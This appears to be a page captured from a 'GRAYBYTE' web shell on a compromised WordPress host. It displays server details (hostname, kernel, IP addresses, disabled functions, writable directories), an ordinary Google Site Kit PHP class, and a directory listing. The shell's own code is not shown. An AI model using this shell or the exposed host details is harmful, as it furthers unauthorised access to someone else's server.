✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/upgrade/wp-content/modules/img//Dismissed_Items.php
<?php
/**
 * Class Google\Site_Kit\Core\Dismissals\Dismissed_Items
 *
 * @package   Google\Site_Kit\Core\Dismissals
 * @copyright 2021 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 */

namespace Google\Site_Kit\Core\Dismissals;

use Closure;
use Google\Site_Kit\Core\Storage\User_Setting;

/**
 * Class for representing a user's dismissed items.
 *
 * @since 1.37.0
 * @access private
 * @ignore
 */
class Dismissed_Items extends User_Setting {

	/**
	 * The user option name for this setting.
	 *
	 * @note This option is prefixed differently so that it will persist across disconnect/reset.
	 */
	const OPTION = 'googlesitekitpersistent_dismissed_items';

	const DISMISS_ITEM_PERMANENTLY = 0;

	/**
	 * Adds one or more items to the list of dismissed items.
	 *
	 * @since 1.37.0
	 *
	 * @param string $item               Item to dismiss.
	 * @param int    $expires_in_seconds TTL for the item.
	 */
	public function add( $item, $expires_in_seconds = self::DISMISS_ITEM_PERMANENTLY ) {
		$items          = $this->get();
		$items[ $item ] = $expires_in_seconds ? time() + $expires_in_seconds : 0;

		$this->set( $items );
	}

	/**
	 * Removes one or more items from the list of dismissed items.
	 *
	 * @since 1.107.0
	 *
	 * @param string $item Item to remove.
	 */
	public function remove( $item ) {
		$items = $this->get();

		// If the item is not in dismissed items, there's nothing to do.
		if ( ! array_key_exists( $item, $items ) ) {
			return;
		}

		unset( $items[ $item ] );

		$this->set( $items );
	}

	/**
	 * Gets the value of the setting.
	 *
	 * @since 1.37.0
	 *
	 * @return array Value set for the option, or default if not set.
	 */
	public function get() {
		$value = parent::get();
		return is_array( $value ) ? $value : $this->get_default();
	}

	/**
	 * Gets the expected value type.
	 *
	 * @since 1.37.0
	 *
	 * @return string The type name.
	 */
	protected function get_type() {
		return 'array';
	}

	/**
	 * Gets the default value.
	 *
	 * @since 1.37.0
	 *
	 * @return array The default value.
	 */
	protected function get_default() {
		return array();
	}

	/**
	 * Gets the callback for sanitizing the setting's value before saving.
	 *
	 * @since 1.37.0
	 *
	 * @return callable Sanitize callback.
	 */
	protected function get_sanitize_callback() {
		return function ( $items ) {
			return $this->filter_dismissed_items( $items );
		};
	}

	/**
	 * Determines whether the item is dismissed.
	 *
	 * @since 1.37.0
	 *
	 * @param string $item The item to check.
	 * @return bool TRUE if item is dismissed, otherwise FALSE.
	 */
	public function is_dismissed( $item ) {
		$items = $this->get();
		if ( ! array_key_exists( $item, $items ) ) {
			return false;
		}

		$ttl = $items[ $item ];
		if ( $ttl > 0 && $ttl < time() ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets dismissed items.
	 *
	 * @since 1.37.0
	 *
	 * @return array Dismissed items array.
	 */
	public function get_dismissed_items() {
		$dismissed_items = $this->get();
		$dismissed_items = $this->filter_dismissed_items( $dismissed_items );

		return array_keys( $dismissed_items );
	}

	/**
	 * Filters dismissed items.
	 *
	 * @since 1.37.0
	 *
	 * @param array $items Dismissed items list.
	 * @return array Filtered dismissed items.
	 */
	private function filter_dismissed_items( $items ) {
		$dismissed = array();

		if ( is_array( $items ) ) {
			foreach ( $items as $item => $ttl ) {
				if ( self::DISMISS_ITEM_PERMANENTLY === $ttl || $ttl > time() ) {
					$dismissed[ $item ] = $ttl;
				}
			}
		}

		return $dismissed;
	}

}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
16 Sep 2026 5.21 AM
docteuh / users
0755
Dismissed_Items.php
3.548 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
badges.scss
2.141 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
event-3-col.php
6.485 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
event-schedule.php
12.575 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
grid-videos-20260829001305.php
2.072 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
header-centered.php
1.094 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
header-columns.php
1.458 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
header.php
1.28 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
index.php
0 KB
28 Aug 2026 9.11 AM
docteuh / users
0644
introcontainer.min.css
0.609 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
login.png
7.282 KB
5 Jul 2026 11.44 PM
docteuh / users
0644
placeholder.css
2.881 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
services-3-col.php
3.755 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
text-faqs.php
5.757 KB
14 Nov 2024 5.53 AM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF